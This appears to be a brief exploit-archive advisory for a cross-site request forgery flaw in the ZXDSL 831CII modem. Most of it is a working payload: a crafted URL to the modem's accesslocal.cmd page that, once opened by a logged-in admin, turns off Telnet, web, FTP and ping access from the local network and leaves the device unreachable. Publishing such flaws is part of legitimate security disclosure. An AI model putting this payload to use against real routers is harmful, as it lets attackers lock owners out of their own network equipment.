ZXDSL 831CII suffers from a cross site request forgery vulnerability.
843e8f18a1aecb19a3193b0c21a2f4b43254e1c19a3543a86ca96e33f9b2994aZXDSL 831CII Disable Access from Local network CSRF
Disable from:
Telnet
Web Browser
SNMP
Ping
FTP
TFTP
The following link will make a logged in admin disable all access from
lan. (which makes the modem unaccessable)
192.168.1.1/accesslocal.cmd?&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=1&sshport=22
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